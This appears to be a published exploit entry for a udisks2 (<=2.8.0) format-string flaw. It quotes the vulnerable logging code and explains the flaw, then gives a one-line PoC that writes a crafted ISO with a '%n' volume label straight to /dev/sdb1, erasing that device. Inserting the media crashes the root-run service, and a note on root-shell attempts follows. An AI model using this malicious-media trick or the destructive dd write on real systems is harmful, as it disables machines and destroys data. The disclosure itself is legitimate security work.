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2.2 KiB
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39 lines
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2.2 KiB
Text
# Exploit: udisks2 2.8.0 - Denial of Service (PoC)
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# Author: oxagast
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# Date: 2018-09-22
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# Vendor Homepage: http://storaged.org/
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# Software Link: https://github.com/storaged-project/udisks
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# Version: <=udisks2 2.8.0
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# Tested on: Ubuntu x64
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__ _ _ __ ___ __ ____ ____
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/ ( \/ )/ _\ / __)/ _\/ ___(_ _)
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( O ) (/ ( (_ / \___ \ )(
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\__(_/\_\_/\_/\___\_/\_(____/(__)
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# ========The vulnerable section of code is:========
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#if GLIB_CHECK_VERSION(2, 50, 0)
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g_log_structured ("udisks", (GLogLevelFlags) level,
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"MESSAGE", message, "THREAD_ID", "%d", (gint) syscall (SYS_gettid),
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"CODE_FUNC", function, "CODE_FILE", location);
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#else
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g_log ("udisks", level, "[%d]: %s [%s, %s()]", (gint) syscall (SYS_gettid), message, location, function);
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# =================Short Whitepaper=================
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# The vulnerability can be triggered by using one computer to create a filesystem on a USB key
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# (or other removable media), then editing it's filesystem label to include a bunch of %n's, removing and
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# inserting the media into another computer running udisks2 <=2.8.0. This binary runs as root, and if
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# exploited in that capacity could potentially allow full compromise. This will cause a denial of service,
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# crashing udisks2 and not letting it restart (or until /var/lib/udisks2/mounted-fs is
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# removed and the system is restarted). This keeps the system from automounting things like USB drives and CDs.
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# The vulnerability -may- be exploitable beyond a DoS by crafting a format string exploit and putting it
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# in the label of the drive. I tried to exploit it for a couple days, but cannot find a filesystem with a
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# lengthy enough label to be able to fit the exploit and spawn a root shell, as the smallest shellcode I
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# could make was around 50 characters, and the longest filesystem labels I could find are limited to 32 characters.
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# =============Proof of Concept Code================
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# This code will destroy any information on /dev/sdb1!!!! Change that to where you have your USB media.
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# PoC source code:
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genisoimage -V "AAAAAAAA" -o dos.iso /etc/passwd && dd if=dos.iso | sed -e 's/AAAAAAAA/%n%n%n%n/g' | dd of=/dev/sdb1
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# Now remove and reinsert the media and wait for the crash report. |